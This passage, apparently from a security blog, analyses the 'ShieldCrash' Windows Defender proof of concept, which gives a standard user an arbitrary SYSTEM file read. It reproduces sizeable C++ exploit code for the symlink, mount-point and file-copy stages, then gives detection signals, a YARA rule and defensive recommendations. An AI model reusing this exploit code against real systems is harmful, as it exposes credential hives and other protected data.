FILE_RENAME_INFO* fri = (FILE_RENAME_INFO*)malloc(sizeof(FILE_RENAME_INFO) + sizeof(wchar_t) * (wcslen(tempmv) + 1));
ZeroMemory(fri, sizeof(FILE_RENAME_INFO) + sizeof(wchar_t) * (wcslen(tempmv) + 1));
fri->FileNameLength = wcslen(tempmv) * sizeof(wchar_t);
memmove(fri->FileName, tempmv, fri->FileNameLength);
fri->ReplaceIfExists = TRUE;
if (!SetFileInformationByHandle(htest, FileRenameInfo, fri, sizeof(FILE_RENAME_INFO) + fri->FileNameLength))
{
printf("[-] Failed to rename file, error : %d\n", GetLastError());
return 1;
}
CloseHandle(htest);
CloseHandle(hzip);
CfDisconnectSyncRoot(key);
CfUnregisterSyncRoot(workdir.c_str());
CloseHandle(hworkdir);
hworkdir = NULL;
stat = NtCreateFile(&hworkdir, FILE_WRITE_DATA | SYNCHRONIZE | DELETE, &workdirobjattr, &iostat2, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_DELETE_ON_CLOSE, NULL, NULL);
if (stat) {
throw stat;
}
ShieldCrash.cpp — creating the second directory, deleting the first CLFS artefact, renaming BERN out of the sync root, disconnecting and unregistering Flubber.
At this point the Cloud Files provider is gone. The working directory still exists. Defender still has a name it believes refers to the file it is cleaning. The next two operations change what that name means.
Step 6 — Mount Point into the Object Manager

This is the new last mile. The exploit creates an Object Manager symlink \BaseNamedObjects\Restricted\BERN:stream whose target is the NT path of the file the user passed on the command line — translated with RtlDosPathNameToNtPathName_U_WithStatus at startup. Then it plants an IO_REPARSE_TAG_MOUNT_POINT on the (now empty) working directory, pointing at \BaseNamedObjects\Restricted.
UNICODE_STRING symlinkftarget = { 0 };
_RtlDosPathNameToNtPathName_U_WithStatus(argv[1], &symlinkftarget, NULL, NULL);
auto shlnk2 = new ObjectSymlinkMgr((wchar_t*)L"\\BaseNamedObjects\\Restricted\\BERN:stream", symlinkftarget.Buffer, NULL);
wchar_t rptarget[] = { L"\\BaseNamedObjects\\Restricted" };
DWORD targetsz = wcslen(rptarget) * 2;
DWORD printnamesz = 1 * 2;
DWORD pathbuffersz = targetsz + printnamesz + 12;
DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
rdb->Reserved = NULL;
rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);
DWORD ret = DeviceIoControl(hworkdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
ShieldCrash.cpp — victim NT path captured at startup; then BERN:stream becomes an object symlink to that path, and the workdir becomes a mount point into the Object Manager.
A directory mount point is an NTFS reparse that says “this folder is actually that other folder.” Usually the other folder is another NTFS directory. Here it is an Object Manager directory. Combined with the BERN:stream object symlink sitting inside it, any leftover lookup of ...\ShieldCrash_{GUID}\BERN:stream walks off the volume and into the victim file.
The user then opens the renamed stream they stashed under %TEMP%, maps both that stream and a newly created output file, and memmoves the bytes. The output name is the original victim filename plus the run GUID, which is why the screenshot shows ELAM.{9638FAFF-...} sitting next to ShieldCrash.exe.
wcscat(tempmv, L":stream");
UNICODE_STRING _tempmv = { 0 };
RtlInitUnicodeString(&_tempmv, tempmv);
OBJECT_ATTRIBUTES tmpmvobjattr = { 0 };
InitializeObjectAttributes(&tmpmvobjattr, &_tempmv, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE htempmv = NULL;
iostat2 = { 0 };
do {
stat = NtCreateFile(&htempmv, FILE_READ_DATA | SYNCHRONIZE | FILE_READ_ATTRIBUTES, &tmpmvobjattr, &iostat2, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL);
} while (stat);
LARGE_INTEGER lif = { 0 };
if (!GetFileSizeEx(htempmv, &lif))
{
printf("Failed to get new file size, error : %d\n", GetLastError());
return 1;
}
wchar_t nfilename3[MAX_PATH] = { 0 };
wcscpy(nfilename3, argv[0]);
wchar_t* filename3 = PathFindFileName(nfilename3);
filename3[0] = 0;
wcscat(nfilename3, PathFindFileName(argv[1]));
wcscat(nfilename3, L".");
wcscat(nfilename3, mainguid);
HANDLE hnewfile3 = CreateFile(nfilename3, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, ALL_SHARING, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hnewfile3 || hnewfile3 == INVALID_HANDLE_VALUE)
{
printf("Failed to create new file, error : %d\n", GetLastError());
return 1;
}
HANDLE hnewsec = CreateFileMapping(hnewfile3, NULL, PAGE_READWRITE, lif.HighPart, lif.LowPart, NULL);
if (!hnewsec || hnewsec == INVALID_HANDLE_VALUE)
{
printf("Failed to create file mapping, error : %d\n", GetLastError());
return 1;
}
HANDLE holdsec = CreateFileMapping(htempmv, NULL, PAGE_READONLY, lif.HighPart, lif.LowPart, NULL);
if (!holdsec || holdsec == INVALID_HANDLE_VALUE)
{
printf("Failed to create file mapping, error : %d\n", GetLastError());
return 1;
}
void* buffog = MapViewOfFile(holdsec, FILE_MAP_READ, 0, 0, lif.QuadPart);
void* bufftarget = MapViewOfFile(hnewsec, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, lif.QuadPart);
if (!buffog || !bufftarget)
{
printf("Failed to map view of file, error : %d\n", GetLastError());
return 1;
}
try {
memmove(bufftarget, buffog, lif.QuadPart);
}
catch (std::exception& e) {
printf("Failed to copy file, error : %s\n", e.what());
return 1;
}
FlushViewOfFile(bufftarget, lif.QuadPart);
UnmapViewOfFile(bufftarget);
UnmapViewOfFile(buffog);
CloseHandle(holdsec);
CloseHandle(hnewsec);
CloseHandle(hnewfile3);
CloseHandle(htempmv);
CloseHandle(hworkdir);
CloseHandle(hthread);
delete shlnk2;
delete mnlnk;
delete targetdir;
UNICODE_STRING clnp = { 0 };
RtlInitUnicodeString(&clnp, fri->FileName);
OBJECT_ATTRIBUTES clnpobjattr = { 0 };
InitializeObjectAttributes(&clnpobjattr, &clnp, OBJ_CASE_INSENSITIVE, NULL, NULL);
_NtDeleteFile(&clnpobjattr);
return 0;
ShieldCrash.cpp — opening the leftover stream, mapping it, copying it next to the executable, and deleting the temp artefact.
What the Screenshot Is Actually Showing
The README screenshot is not a whoami flex. It is quieter and, for a defender, more useful. The command is:
C:\Users\user\source\repos\ShieldCrash\x64\Release>ShieldCrash.exe C:\Windows\System32\config\ELAM
The PoC invocation from the repository screenshot.
C:\Windows\System32\config\ELAM is the Early Launch Anti-Malware registry hive. It is a SYSTEM-only file. A standard user opening it with CreateFile gets ACCESS_DENIED. After the chain, the directory listing shows a new file ELAM.{9638FAFF-09F4-45B1-98F1-E29FB54418F8} beside the executable. That is the hive, read as SYSTEM, copied to a user-writable location. The console log in between is a complete behavioural IOC list: Flubber registration, WD_TARGET_ / WD_SHADOW_, the UNC and CLFS WD_SCAN links, the ntdll ADS copy, the GLOBALROOT scan path, the TEMP\TMP* hit, and the retarget onto ShieldCrash_{GUID}_2.
An arbitrary SYSTEM file read is not a shell. It is still a serious bug. On a workstation it is DPAPI master keys, NTUSER hives, LSA secrets if the file layout allows, browser credential DBs, VPN configs, the SAM/SECURITY/SYSTEM hives on some configurations, NTDS.dit on a DC if the path is reachable, and every other file whose ACL says “SYSTEM but not Users.” The author explicitly flags that this drop does not give write access, and that a later rework may restore the SYSTEM execution half. Treat the skeleton as a lower bound.
Warden.dll: The Payload That Did Not Ship This Time
Warden.dll is a 107,008-byte x64 PE, machine 0x8664, no export table. It is still compiled into the resources and still handed to CfExecute on every fetch after the first. It is not used as a SYSTEM implant in this drop. The interesting wide strings are unchanged from ShieldBreak:
\\??\\pipe\\SHIELDBREAK
C:\\Windows\\System32\\conhost.exe
Warden.dll wide strings. The named pipe and the SYSTEM console host from the August chain are still in the binary.
Imports of note, from the IAT: CreateProcessAsUserW, GetNamedPipeServerSessionId. That is a session-aware SYSTEM spawn, which is exactly how ShieldBreak turned a planted DLL into an interactive console. Keeping the DLL in the tree is either laziness, as the README claims, or a hint that the missing half of the chain is a last-mile away. Hunt for the pipe name and for wermgr.exe loading unexpected DLLs anyway; a private fork does not have to stay a skeleton.
Why a Route-Shaped Patch Loses
The September engine update had a specific job: stop a user from turning Defender’s clean path into a SYSTEM write to System32\phoneinfo.dll and then into a WER-hosted shell. Several of the August tells are gone from this source:
- No
LockFileExon a CLFS container. - No symlink whose target is
\\??\UNC\127.0.0.1\C$\Windows\System32\phoneinfo.dll. - No
Report.wer, noQueueReporting, nophoneinfo.dllstring in the C++. - Scan flags flipped from
0x60004002to0x60004000. - Hydration policy flipped from FULL to PARTIAL + VALIDATION_REQUIRED.
What was not closed is the class: a user-mode Cloud Files provider plus Object Manager redirection plus an NTFS reparse can change the meaning of a path Defender is already holding. The mount-point-into-\BaseNamedObjects trick is the sort of cross-namespace stunt that a check written against “does this path resolve to System32 via UNC?” will never see. That is the difference between patching a route and patching a bug class, and it is the same lesson RoguePlanet already taught in July.
Detection Opportunities
The write-to-System32 canary from August (phoneinfo.dll appearing) will not fire on this skeleton. The behavioural combination is still loud, and several strings are still hardcoded.
| Signal | Where to look | Notes |
|---|---|---|
MpClient.dll loaded by a non-Defender process | Sysmon EID 7 / EDR image-load | Expected consumers: MsMpEng, MpCmdRun, NisSrv, ConfigSecurityPolicy, MpSigStub. Near-zero FP. |
| New cfapi sync root under a user-writable path | CldFlt ETW, registry of sync roots | Provider name Flubber and GUID {B196E670-59C7-4D41-9637-C62D80541321} are still hardcoded. |
Directory C:\ShieldCrash_{GUID} or C:\ShieldBreak_{GUID} | File-system telemetry | Trivially renamed in a fork. Useful for the unmodified public binaries. |
Object directories WD_TARGET_ / WD_SHADOW_ under \BaseNamedObjects\Restricted\ | Object Manager instrumentation | Shadow directory creation via NtCreateDirectoryObjectEx is rare in legitimate software. |
NtCreateSymbolicLinkObject of a name ending in :stream | Native API telemetry | ADS names in the object namespace are not a normal app pattern. |
Directory reparse to \BaseNamedObjects\Restricted | Sysmon EID 13 / FSCTL_SET_REPARSE_POINT | A user-writable folder becoming an Object Manager mount point is the last-mile tell. |
ReadDirectoryChangesW on %windir% from a non-service process, then a Cloud Files unregister | API telemetry | The TEMP\TMP* wait is the synchronisation point. |
Named pipe \pipe\SHIELDBREAK | Sysmon EID 17 | Not opened by this skeleton, still in Warden.dll. Treat as a fork indicator. |
Standard user process producing a copy of SYSTEM/SAM/SECURITY/ELAM/NTDS.dit | File-create telemetry next to a freshly run unsigned exe | The output name in the public PoC is <originalfilename>.{GUID}. |
YARA sketch for the public binaries
The LevelBlue ShieldBreak rule still matches this tree on the NT Object Manager, Cloud Files, and MpClient clusters. Drop the WER / phoneinfo.dll requirement and add the new last-mile strings:
rule ShieldCrash_WD_FileRead_PoC
{
meta:
description = "Public ShieldCrash Defender SYSTEM file-read PoC (Nightmare Eclipse)"
author = "core-jmp.org"
date = "2026-09"
tlp = "WHITE"
strings:
$ntobj1 = "NtCreateSymbolicLinkObject" ascii wide
$ntobj2 = "NtCreateDirectoryObjectEx" ascii wide
$cld1 = "CfRegisterSyncRoot" ascii wide
$cld2 = "CfCreatePlaceholders" ascii wide
$cld3 = "CfConnectSyncRoot" ascii wide
$cld4 = "CfHydratePlaceholder" ascii wide
$mp1 = "MpManagerOpen" ascii
$mp2 = "MpScanStart" ascii
$mp3 = "MpCleanOpen" ascii
$mp4 = "MpCleanStart" ascii
$s1 = "ShieldCrash_" wide
$s2 = "WD_SHADOW_" wide
$s3 = "WD_TARGET_" wide
$s4 = "Flubber" wide
$s5 = "BERN:stream" wide
$s6 = "\\BaseNamedObjects\\Restricted" wide
$s7 = "path_to_leak" ascii
condition:
uint16(0) == 0x5A4D and
2 of ($ntobj*) and 3 of ($cld*) and 3 of ($mp*) and 3 of ($s*)
}
YARA for the unmodified public binary. Forks will rename Flubber / BERN / ShieldCrash_; keep the API cluster even if the strings move.
Key Takeaways
- ShieldCrash is not a new bug class. It is the September leftover of ShieldBreak: Microsoft closed the SYSTEM write and the WER execution bridge, and missed the SYSTEM read.
- The exploit never attacks Defender’s detection logic. It attacks the assumption that a file’s content and location stay constant between scan and remediation.
- The Cloud Files API remains a powerful primitive for this class. A registered provider is the authority on what a file contains at read time.
- Object Manager shadow directories plus an NTFS mount point into
\BaseNamedObjectslet an attacker re-route a path without the path string changing and without a System32 UNC target for a patch to match on. - An arbitrary SYSTEM file read is already a serious endpoint bug. SAM/SECURITY/SYSTEM/ELAM hives, DPAPI material, and every ACL that says “SYSTEM but not Users” become in scope.
Warden.dllis still in the resources with the ShieldBreak named pipe andCreateProcessAsUserW. Treat the skeleton as a lower bound, not a ceiling.- Route-shaped patches lose to researchers who still have the confused deputy. The deputy here is your antivirus.
Defensive Recommendations
- Keep the August canary: a locked, benign
C:\Windows\System32\phoneinfo.dll. It still aborts unmodified ShieldBreak and any fork that forgot to delete the check. It will not stop ShieldCrash. Keep it anyway. - Alert on
MpClient.dllloaded by anything that is not a Defender binary. This fires on both public trees. - Inventory Cloud Files sync roots. Outside OneDrive and a short allow-list, a new root in a user-writable directory is hostile until proven otherwise. The public GUID and the name Flubber are free detections.
- Hunt
NtCreateDirectoryObjectEx+NtCreateSymbolicLinkObjectfrom the same medium-integrity process, especially under\BaseNamedObjects\Restricted\. - Alert on
FSCTL_SET_REPARSE_POINTthat turns a user-writable directory into a mount point whose substitute name is in the Object Manager, not on a drive. - Watch for user processes creating GUID-suffixed copies of hive files (
SAM,SECURITY,SYSTEM,ELAM,SOFTWARE,NTDS.dit) outside\Windows\System32\config. - Keep Tamper Protection on and the engine current. Engine
1.1.26080.3is necessary and, as of this writing, not sufficient. - Do not disable Defender to “mitigate” this. That is a lab test, not a production control. Application allowlisting (WDAC) and removing local admin rights still bound the blast radius of a local LPE class.
- If you run a third-party AV as the active provider, public testing of ShieldBreak suggested the chain does not run. That is an observation about this confused deputy, not a reason to skip patching the engine.
Conclusion
ShieldCrash is a small source tree and a large lesson. The September engine update did the job it was written to do: it stopped a user from making Defender write phoneinfo.dll and from turning WER into a SYSTEM loader. It did not stop a user from remaining the authority on what a Cloud Files placeholder contains, from swapping Object Manager links while a scan is in flight, or from turning the leftover name into a mount point that reads an arbitrary file as SYSTEM. The public PoC leaks ELAM and then exits. The DLL that knows how to talk to \pipe\SHIELDBREAK is still in the resources. Until Microsoft patches the class rather than the last screenshot, the hunting surface above is the practical defence, and a standard-user foothold on a machine that still runs Defender should be treated as a credible path to SYSTEM-level data.
Credits and Provenance
All code in this analysis comes from the ShieldCrash repository, published by Nightmare Eclipse (GitHub MSNightmare) on 8–9 September 2026 and released under the MIT licence. The researcher is referred to in some coverage as “Chaotic Eclipse”; the licence file carries the copyright line Copyright (c) 2026 INFINITE NIGHTMARE. The licence requires that this notice accompany reproduced portions:
MIT License
Copyright (c) 2026 INFINITE NIGHTMARE
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
LICENSE — reproduced in full as required by its terms.
Context, engine versions and timeline dates are drawn from the repository and from public reporting:
- ShieldCrash repository — Nightmare Eclipse (MIT)
- ShieldBreak repository — the August parent chain
- MSRC advisory CVE-2026-69414 — ShieldBreak, engine 1.1.26080.3
- BleepingComputer — New Microsoft Defender “ShieldCrash” zero-day grants SYSTEM access (Sergiu Gatlan, 9 September 2026)
- The Hacker News — Researcher Drops New Microsoft Defender PoC Showing ShieldBreak Patch Can Be Bypassed (Ravie Lakshmanan, 9 September 2026)
- Cyber Security News — New Windows Defender ShieldCrash 0-Day Bypasses Microsoft Patch to Read Files as SYSTEM
- LevelBlue SpiderLabs — Cloud Sync Root Registration / ShieldBreak hunting paper (Serhii Melnyk and Timmy Lister, 19 August 2026)
- Malwarebytes — ShieldBreak bypasses Microsoft’s patch for earlier Defender flaw (Pieter Arntz, 17 August 2026)
- core-jmp.org — ShieldBreak: Making Windows Defender Write Your Payload to System32 (14 August 2026)
Original text: “ShieldCrash — Windows Defender 0day Vulnerability” by Nightmare Eclipse at GitHub MSNightmare, MIT licence, Copyright (c) 2026 INFINITE NIGHTMARE.


